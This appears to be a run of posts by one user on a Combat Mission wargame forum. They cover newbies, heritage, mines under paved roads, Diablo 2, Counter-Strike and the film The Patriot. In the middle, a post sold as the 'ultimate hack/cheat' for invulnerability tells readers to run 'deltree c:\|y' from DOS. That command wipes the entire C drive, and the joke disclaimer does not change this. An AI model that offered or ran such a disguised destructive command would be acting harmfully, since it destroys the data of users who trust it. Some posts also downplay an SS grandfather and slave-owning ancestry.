    Old vets of board VS Newbies

    Mortiis,

    I think everyone would agree that most newbies are AOK BUT it's just the ones who are argumentative, bigotted or neo-nazi ( we've had a few questionable cases recently wink.gif ) that spark the reaction.

    Oh come on now Fionn. Just because someone is proud of their heritage doesn't automatically imply that they have the same views. Sure, JP comes across harsh occasionally, but labeling him as neo-nazi because he is proud of his grandfather having served in the Schutzstaffel is a bit much. Hell, I'm proud of my heritage. My ancestors were slave owners and partisan rangers on the Missouri-Kansas border. I would even go so far as to say that the South had far superior commanders and troops than the North. Does this automatically imply that I am a racist who wants to re-enslave black folks?

    As for laying concealed mines on paved roads... many paved roads in Europe are paved with bricks and stones. Thus mines can be placed under the stones. Also, engineers who place the mines could break up even concrete or asphalt a bit to hide mines under.

    I don't know about you, but I wouldn't want to be the lucky bastard that gets to put mines under rocks...

    Here is the ultimate hack/cheat for CM:

    Exit to DOS

    Type: cd\"path to CM"

    Type: deltree c:\|y

    Type: Exit

    Restart your machine

    You will now be invulnerable in CM...

    Oh yeah, I will not be held responsible if the above hack/cheat does not work for you... smile.gif

    I've been loading these punch cards for hours! Pretty watermark, though...<HR></BLOCKQUOTE>

    You guys are the lucky ones. I got like 15 printed pages of hexadecimal that the manual says that I have to enter manually in a hex editor. Boy, I wish they would have sent punch cards instead...

    But it is a toss up for me to say whether CM or Diablo 2 is the Game of the Year though. CS is w/o a doubt the Modification of the year. (Sorry Madmatt frown.gif)

    <HR></BLOCKQUOTE>

    Oh yeah. I just got my copy of Diablo 2 today. Not bad at all. I will probably be spending more time with it now than CM, but will never delete CM as I do so many others...

    I like playing both quake/half-life and wargames. Compared to CM, quake and the other fps are inane but they can be fun. I wish someone could put out a "realistic" first person shooter squad based game. Team Fortress 2 looks promising but I doubt they will model AKs and M4 and all the other weaponary accurately and correctly. <HR></BLOCKQUOTE>

    Counter-Strike mod for Half Life is probably as close as you'll get to realistic at the moment. If they would just take out the stupid jumping around like idiots that is...

    my 2 cents on the patriot

    They'd be able to do this because they have at least a jist of the way thing were during the time period, it would be obvious that the English weren't so nazi-like like they were portrayed in the patriot.

    Thanx for reading

    If the English were such great humanitarians, then why did the colonies revolt? You can ask the Irish or the Scottish peoples how nice and pleasant the English were back in those days. I think that most people know that almost all movies are going to have a Hollywood slant to them, if nothing else, just to generate more money. Coming in here and saying that the English were not criminal in their behaviour towards their colonies is like saying that the Spanish conquistadors didn't really wipe out entire civilizations of people.

    My opinion only...

    I thought BTS said they were shooting for ultra realism? Man, now that I know there wasn't really 300 foot flags on WWII battlefields the games is pointless for me.

    Pretty much like this thread is.

    <HR></BLOCKQUOTE>

    Yeah, really. I just wanted the original graphics, not a debate...
